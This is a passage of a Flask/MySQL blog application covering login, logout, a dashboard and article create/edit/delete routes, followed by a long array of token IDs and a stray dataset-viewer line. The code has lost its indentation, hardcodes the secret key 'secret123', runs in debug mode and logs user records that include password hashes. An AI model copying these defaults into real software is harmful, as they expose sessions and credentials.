app.logger.info(data)
password = data['password']
# Compare passwords
if sha256_crypt.verify(password_candidate,password):
# Valid Login Credentials
session['logged_in'] = True
session['username'] = username
flash('You are now logged in','success')
return redirect(url_for('dashboard'))
else:
msgInvalidLogin = 'Invalid Login'
return render_template('login.html',error=msgInvalidLogin) # Error message can be found in inludes/_messages.html
# Close connection
cur.close()
else:
msgInvalidUser = 'Username Not Found'
return render_template('login.html',error=msgInvalidUser)
return render_template('login.html')
# Check if user logged in
def is_logged_in(f):
@wraps(f)
def wrap(*args,**kwargs):
if 'logged_in' in session:
return f(*args,**kwargs)
else:
flash('Unauthorized, Please login','danger')
return redirect(url_for('login'))
return wrap
# Logout
@app.route('/logout')
def logout():
session.clear()
flash('You are now logged out')
return redirect(url_for('login'))
# Dashboard
@app.route('/dashboard')
@is_logged_in
def dashboard():
# Create cursor
cur = mysql.connection.cursor()
# Get articles
result = cur.execute("SELECT * FROM articles")
articles = cur.fetchall() # This will be fetched in dictionary form
if result > 0:
return render_template('dashboard.html',articles=articles)
else:
msg = 'No Articles Found'
return render_template('dashboard.html', msg=msg)
#Close connection
cur.close()
# Add Article
@app.route('/add_article', methods=['GET','POST'])
@is_logged_in
def add_article():
form = ArticleForm(request.form)
if request.method == 'POST' and form.validate():
title = form.title.data
body = form.body.data
#Create cursor
cur = mysql.connection.cursor()
# Execute
cur.execute("INSERT INTO articles(title, body, author) VALUES(%s,%s,%s)",(title,body,session['username']))
# Commit to database
mysql.connection.commit()
# Close connection
cur.close()
flash('Your article was created!','success')
return redirect(url_for('dashboard'))
return render_template('add_article.html',form=form)
# Edit Article
@app.route('/edit_article/<string:id>', methods=['GET','POST'])
@is_logged_in
def edit_article(id):
# Create cursor
cur = mysql.connection.cursor()
# Get article by ID
result = cur.execute("SELECT * FROM articles WHERE id = %s", [id])
article = cur.fetchone()
# Get form
form = ArticleForm(request.form)
# Populate article form fields
form.title.data = article['title']
form.body.data = article['body']
if request.method == 'POST' and form.validate():
title = request.form['title']
body = request.form['body']
#Create cursor
cur = mysql.connection.cursor()
# Execute
cur.execute("UPDATE articles SET title=%s, body=%s WHERE id=%s",(title,body,id))
# Commit to database
mysql.connection.commit()
# Close connection
cur.close()
flash('Article Updated','success')
return redirect(url_for('dashboard'))
return render_template('edit_article.html',form=form)
# Delete Article
@app.route('/delete_article/<string:id>', methods=['POST'])
@is_logged_in
def delete_article(id):
#Create cursor
cur = mysql.connection.cursor()
# Execute
cur.execute("DELETE FROM articles WHERE id=%s",[id])
# Commit to database
mysql.connection.commit()
# Close connection
cur.close()
flash('Article Deleted','success')
return redirect(url_for('dashboard'))
if __name__ == '__main__': #That means the script is going to be executed
app.secret_key='secret123'
app.run(debug=True) | [
1,
529,
276,
1112,
420,
29958,
14736,
9499,
705,
29914,
12857,
9986,
2512,
27107,
3924,
13,
3166,
29784,
1053,
2379,
1278,
29892,
4050,
29918,
6886,
29892,
11013,
29892,
6684,
29892,
3142,
29918,
1454,
29892,
4867,
29892,
12183,
29892,
2009,
13,
29937,
3166,
848,
1053,
12952,
13,
3166,
29784,
29918,
19268,
430,
29890,
1053,
9254,
13,
3166,
1209,
1982,
29889,
8568,
1053,
528,
29874,
29906,
29945,
29953,
29918,
29883,
4641,
13,
3166,
2090,
312,
8789,
1053,
11463,
567,
13,
3166,
883,
1990,
1053,
12577,
2500,
29892,
21746,
2500,
13,
13,
13,
29937,
4391,
385,
2777,
310,
278,
29784,
770,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
29871,
13,
13,
29937,
12782,
9254,
13,
29937,
2448,
556,
6910,
310,
8294,
313,
30386,
29896,
29953,
29889,
29900,
29946,
1125,
5240,
21081,
278,
1196,
7868,
29899,
7328,
29871,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
297,
847,
7070,
29914,
7938,
29914,
7938,
29889,
5527,
29889,
29881,
29914,
19268,
430,
29889,
18038,
29888,
29889,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
20832,
2033,
2433,
29915,
29871,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
11889,
2033,
2433,
29915,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
25711,
17013,
2033,
2433,
29915,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
4051,
2033,
2433,
29915,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
22484,
29903,
1955,
13875,
1799,
2033,
2433,
21533,
19890,
29915,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
15082,
2033,
353,
29871,
29941,
29941,
29900,
29953,
13,
13,
29937,
25455,
9254,
13,
7938,
353,
9254,
29898,
932,
29897,
13,
13,
29937,
11374,
13,
29992,
932,
29889,
13134,
11219,
1495,
13,
1753,
2380,
7295,
13,
1678,
736,
4050,
29918,
6886,
877,
5184,
29889,
1420,
1495,
13,
13,
29937,
13611,
13,
29992,
932,
29889,
13134,
11219,
12717,
1495,
13,
1753,
1048,
7295,
13,
1678,
736,
4050,
29918,
6886,
877,
12717,
29889,
1420,
1495,
13,
13,
29937,
12952,
13,
29992,
932,
29889,
13134,
11219,
18569,
1495,
13,
1753,
7456,
7295,
13,
1678,
396,
6204,
10677,
13,
1678,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
13,
1678,
396,
3617,
7456,
13,
1678,
1121,
353,
3151,
29889,
7978,
703,
6404,
334,
3895,
7456,
1159,
13,
1678,
7456,
353,
3151,
29889,
9155,
497,
580,
396,
910,
674,
367,
6699,
287,
297,
8600,
883,
13,
1678,
565,
1121,
1405,
29871,
29900,
29901,
13,
4706,
736,
4050,
29918,
6886,
877,
18569,
29889,
1420,
742,
18569,
29922,
18569,
29897,
13,
1678,
1683,
29901,
13,
4706,
10191,
353,
525,
3782,
12952,
7460,
29915,
13,
4706,
736,
4050,
29918,
6886,
877,
18569,
29889,
1420,
742,
10191,
29922,
7645,
29897,
13,
13,
1678,
396,
11123,
3957,
13,
1678,
3151,
29889,
5358,
580,
13,
13,
1678,
736,
4050,
29918,
6886,
877,
18569,
29889,
1420,
742,
7456,
353,
12952,
29897,
13,
13,
29937,
15771,
21746,
13,
29992,
932,
29889,
13134,
11219,
7914,
29914,
29966,
1807,
29901,
333,
20690,
1495,
13,
1753,
4274,
29898,
333,
1125,
13,
4706,
396,
6204,
10677,
13,
1678,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
13,
1678,
396,
3617,
4274,
13,
1678,
1121,
353,
3151,
29889,
7978,
703,
6404,
334,
3895,
7456,
5754,
1178,
353,
1273,
29879,
613,
29961,
333,
2314,
13,
1678,
4274,
353,
3151,
29889,
9155,
650,
580,
29871,
13,
1678,
736,
4050,
29918,
6886,
877,
7914,
29889,
1420,
742,
4274,
29922,
7914,
29897,
13,
13,
13,
13,
29937,
4911,
12577,
13,
29992,
932,
29889,
13134,
11219,
9573,
742,
23515,
29922,
1839,
7194,
3788,
5438,
11287,
13,
1753,
6036,
7295,
13,
1678,
883,
353,
12577,
2500,
29898,
3827,
29889,
689,
29897,
13,
1678,
565,
2009,
29889,
5696,
1275,
525,
5438,
29915,
322,
883,
29889,
15480,
7295,
13,
4706,
1024,
353,
883,
29889,
978,
29889,
1272,
13,
4706,
4876,
353,
883,
29889,
5269,
29889,
1272,
13,
4706,
8952,
353,
883,
29889,
6786,
29889,
1272,
13,
4706,
4800,
353,
528,
29874,
29906,
29945,
29953,
29918,
29883,
4641,
29889,
3977,
4641,
29898,
710,
29898,
689,
29889,
5630,
29889,
1272,
876,
13,
4706,
396,
6204,
10677,
13,
4706,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
4706,
396,
11080,
1082,
13641,
13,
4706,
3151,
29889,
7978,
703,
19460,
11646,
4160,
29898,
978,
29892,
5269,
29892,
6786,
29892,
5630,
29897,
15673,
313,
29995,
29879,
24163,
29879,
24163,
29879,
24163,
29879,
19123,
29898,
978,
29892,
5269,
29892,
6786,
29892,
5630,
876,
13,
4706,
396,
1876,
277,
304,
6535,
29871,
13,
4706,
5749,
29889,
9965,
29889,
15060,
580,
13,
4706,
396,
23186,
3957,
13,
4706,
3151,
29889,
5358,
580,
13,
4706,
11013,
877,
3492,
526,
1286,
15443,
322,
508,
1480,
297,
742,
525,
8698,
1495,
13,
4706,
736,
6684,
29898,
2271,
29918,
1454,
877,
7507,
8785,
13,
1678,
736,
4050,
29918,
6886,
877,
9573,
29889,
1420,
742,
883,
29922,
689,
29897,
13,
13,
13,
29937,
4911,
6464,
13,
29992,
932,
29889,
13134,
11219,
7507,
742,
23515,
29922,
1839,
7194,
3788,
5438,
11287,
13,
1753,
6464,
7295,
13,
1678,
565,
2009,
29889,
5696,
1275,
525,
5438,
2396,
13,
4706,
396,
3617,
3812,
8989,
29879,
13,
4706,
8952,
353,
2009,
29889,
689,
1839,
6786,
2033,
13,
4706,
4800,
29918,
29883,
5380,
403,
353,
2009,
29889,
689,
1839,
5630,
2033,
13,
4706,
396,
6204,
315,
5966,
13,
4706,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
4706,
396,
3617,
1404,
491,
8952,
13,
4706,
1121,
353,
3151,
29889,
7978,
703,
6404,
334,
3895,
4160,
5754,
8952,
353,
1273,
29879,
613,
29961,
6786,
2314,
13,
4706,
623,
29889,
21707,
29889,
3888,
29898,
2914,
29897,
13,
4706,
565,
1121,
1405,
29871,
29900,
29901,
13,
9651,
396,
3617,
6087,
6608,
13,
9651,
848,
353,
3151,
29889,
9155,
650,
580,
13,
9651,
623,
29889,
21707,
29889,
3888,
29898,
1272,
29897,
13,
9651,
4800,
353,
848,
1839,
5630,
2033,
13,
9651,
396,
3831,
598,
27630,
13,
9651,
565,
528,
29874,
29906,
29945,
29953,
29918,
29883,
4641,
29889,
27902,
29898,
5630,
29918,
29883,
5380,
403,
29892,
5630,
1125,
13,
18884,
396,
15758,
19130,
24596,
9409,
13,
18884,
4867,
1839,
1188,
3192,
29918,
262,
2033,
353,
5852,
13,
18884,
4867,
1839,
6786,
2033,
353,
8952,
13,
13,
18884,
11013,
877,
3492,
526,
1286,
13817,
297,
3788,
8698,
1495,
13,
18884,
736,
6684,
29898,
2271,
29918,
1454,
877,
14592,
3377,
8785,
13,
9651,
1683,
29901,
13,
18884,
10191,
13919,
11049,
353,
525,
13919,
19130,
29915,
13,
18884,
736,
4050,
29918,
6886,
877,
7507,
29889,
1420,
742,
2704,
29922,
7645,
13919,
11049,
29897,
396,
4829,
2643,
508,
367,
1476,
297,
297,
29880,
8192,
19891,
19158,
29889,
1420,
13,
9651,
396,
23186,
3957,
13,
9651,
3151,
29889,
5358,
580,
13,
4706,
1683,
29901,
13,
9651,
10191,
13919,
2659,
353,
525,
20249,
2216,
7460,
29915,
13,
9651,
736,
4050,
29918,
6886,
877,
7507,
29889,
1420,
742,
2704,
29922,
7645,
13919,
2659,
29897,
13,
13,
13,
1678,
736,
4050,
29918,
6886,
877,
7507,
29889,
1420,
1495,
13,
13,
29937,
5399,
565,
1404,
13817,
297,
13,
1753,
338,
29918,
1188,
3192,
29918,
262,
29898,
29888,
1125,
13,
1678,
732,
29893,
336,
567,
29898,
29888,
29897,
13,
1678,
822,
12244,
10456,
5085,
29892,
1068,
19290,
1125,
13,
4706,
565,
525,
1188,
3192,
29918,
262,
29915,
297,
4867,
29901,
13,
9651,
736,
285,
10456,
5085,
29892,
1068,
19290,
29897,
13,
4706,
1683,
29901,
13,
9651,
11013,
877,
29965,
1056,
329,
2015,
1891,
29892,
3529,
6464,
3788,
29881,
4600,
1495,
13,
9651,
736,
6684,
29898,
2271,
29918,
1454,
877,
7507,
8785,
13,
1678,
736,
12244,
13,
13,
29937,
4522,
449,
13,
29992,
932,
29889,
13134,
11219,
1188,
449,
1495,
13,
1753,
1480,
449,
7295,
13,
1678,
4867,
29889,
8551,
580,
13,
1678,
11013,
877,
3492,
526,
1286,
13817,
714,
1495,
13,
1678,
736,
6684,
29898,
2271,
29918,
1454,
877,
7507,
8785,
13,
13,
29937,
360,
1161,
3377,
13,
29992,
932,
29889,
13134,
11219,
14592,
3377,
1495,
13,
29992,
275,
29918,
1188,
3192,
29918,
262,
13,
1753,
12569,
3377,
7295,
13,
1678,
396,
6204,
10677,
13,
1678,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
1678,
396,
3617,
7456,
13,
1678,
1121,
353,
3151,
29889,
7978,
703,
6404,
334,
3895,
7456,
1159,
13,
1678,
7456,
353,
3151,
29889,
9155,
497,
580,
396,
910,
674,
367,
6699,
287,
297,
8600,
883,
13,
1678,
565,
1121,
1405,
29871,
29900,
29901,
13,
4706,
736,
4050,
29918,
6886,
877,
14592,
3377,
29889,
1420,
742,
18569,
29922,
18569,
29897,
13,
1678,
1683,
29901,
13,
4706,
10191,
353,
525,
3782,
12952,
7460,
29915,
13,
4706,
736,
4050,
29918,
6886,
877,
14592,
3377,
29889,
1420,
742,
10191,
29922,
7645,
29897,
13,
1678,
396,
11123,
3957,
13,
1678,
3151,
29889,
5358,
580,
13,
13,
13,
29937,
3462,
21746,
13,
29992,
932,
29889,
13134,
11219,
1202,
29918,
7914,
742,
3519,
29922,
1839,
7194,
3788,
5438,
11287,
13,
29992,
275,
29918,
1188,
3192,
29918,
262,
13,
1753,
788,
29918,
7914,
7295,
13,
1678,
883,
353,
21746,
2500,
29898,
3827,
29889,
689,
29897,
13,
1678,
565,
2009,
29889,
5696,
1275,
525,
5438,
29915,
322,
883,
29889,
15480,
7295,
13,
4706,
3611,
353,
883,
29889,
3257,
29889,
1272,
13,
4706,
3573,
353,
883,
29889,
2587,
29889,
1272,
13,
4706,
396,
4391,
10677,
13,
4706,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
4706,
396,
11080,
1082,
13,
4706,
3151,
29889,
7978,
703,
19460,
11646,
7456,
29898,
3257,
29892,
3573,
29892,
4148,
29897,
15673,
29414,
29879,
24163,
29879,
24163,
29879,
19123,
29898,
3257,
29892,
2587,
29892,
7924,
1839,
6786,
25901,
13,
4706,
396,
1876,
277,
304,
2566,
13,
4706,
5749,
29889,
9965,
29889,
15060,
580,
13,
4706,
396,
23186,
3957,
13,
4706,
3151,
29889,
5358,
580,
13,
13,
4706,
11013,
877,
10858,
4274,
471,
2825,
29991,
3788,
8698,
1495,
13,
13,
4706,
736,
6684,
29898,
2271,
29918,
1454,
877,
14592,
3377,
8785,
13,
1678,
736,
4050,
29918,
6886,
877,
1202,
29918,
7914,
29889,
1420,
742,
689,
29922,
689,
29897,
13,
13,
29937,
7641,
21746,
13,
29992,
932,
29889,
13134,
11219,
5628,
29918,
7914,
29914,
29966,
1807,
29901,
333,
29958,
742,
3519,
29922,
1839,
7194,
3788,
5438,
11287,
13,
29992,
275,
29918,
1188,
3192,
29918,
262,
13,
1753,
3863,
29918,
7914,
29898,
333,
1125,
13,
1678,
396,
6204,
10677,
13,
1678,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
1678,
396,
3617,
4274,
491,
3553,
13,
1678,
1121,
353,
3151,
29889,
7978,
703,
6404,
334,
3895,
7456,
5754,
1178,
353,
1273,
29879,
613,
518,
333,
2314,
13,
1678,
4274,
353,
3151,
29889,
9155,
650,
580,
13,
1678,
396,
3617,
883,
13,
1678,
883,
353,
21746,
2500,
29898,
3827,
29889,
689,
29897,
13,
1678,
396,
6977,
5987,
4274,
883,
4235,
13,
1678,
883,
29889,
3257,
29889,
1272,
353,
4274,
1839,
3257,
2033,
13,
1678,
883,
29889,
2587,
29889,
1272,
353,
4274,
1839,
2587,
2033,
13,
13,
1678,
565,
2009,
29889,
5696,
1275,
525,
5438,
29915,
322,
883,
29889,
15480,
7295,
13,
4706,
3611,
353,
2009,
29889,
689,
1839,
3257,
2033,
13,
4706,
3573,
353,
2009,
29889,
689,
1839,
2587,
2033,
13,
13,
4706,
396,
4391,
10677,
13,
4706,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
4706,
396,
11080,
1082,
13,
4706,
3151,
29889,
7978,
703,
14474,
7456,
11368,
3611,
16328,
29879,
29892,
3573,
16328,
29879,
5754,
1178,
16328,
29879,
613,
29898,
3257,
29892,
2587,
29892,
333,
876,
13,
4706,
396,
1876,
277,
304,
2566,
13,
4706,
5749,
29889,
9965,
29889,
15060,
580,
13,
4706,
396,
23186,
3957,
13,
4706,
3151,
29889,
5358,
580,
13,
13,
4706,
11013,
877,
9986,
2512,
25723,
3788,
8698,
1495,
13,
13,
4706,
736,
6684,
29898,
2271,
29918,
1454,
877,
14592,
3377,
8785,
13,
1678,
736,
4050,
29918,
6886,
877,
5628,
29918,
7914,
29889,
1420,
742,
689,
29922,
689,
29897,
13,
13,
29937,
21267,
21746,
13,
29992,
932,
29889,
13134,
11219,
8143,
29918,
7914,
29914,
29966,
1807,
29901,
333,
29958,
742,
3519,
29922,
1839,
5438,
11287,
13,
29992,
275,
29918,
1188,
3192,
29918,
262,
13,
1753,
5217,
29918,
7914,
29898,
333,
1125,
13,
1678,
396,
4391,
10677,
13,
1678,
3151,
353,
5749,
29889,
9965,
29889,
18127,
580,
13,
1678,
396,
11080,
1082,
13,
1678,
3151,
29889,
7978,
703,
2287,
18476,
3895,
7456,
5754,
1178,
16328,
29879,
613,
29961,
333,
2314,
13,
1678,
396,
1876,
277,
304,
2566,
13,
1678,
5749,
29889,
9965,
29889,
15060,
580,
13,
1678,
396,
23186,
3957,
13,
1678,
3151,
29889,
5358,
580,
13,
13,
1678,
11013,
877,
9986,
2512,
897,
22742,
3788,
8698,
1495,
13,
13,
1678,
736,
6684,
29898,
2271,
29918,
1454,
877,
14592,
3377,
8785,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
396,
7058,
2794,
278,
2471,
338,
2675,
304,
367,
8283,
13,
1678,
623,
29889,
19024,
29918,
1989,
2433,
19024,
29896,
29906,
29941,
29915,
13,
1678,
623,
29889,
3389,
29898,
8382,
29922,
5574,
29897,
2
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.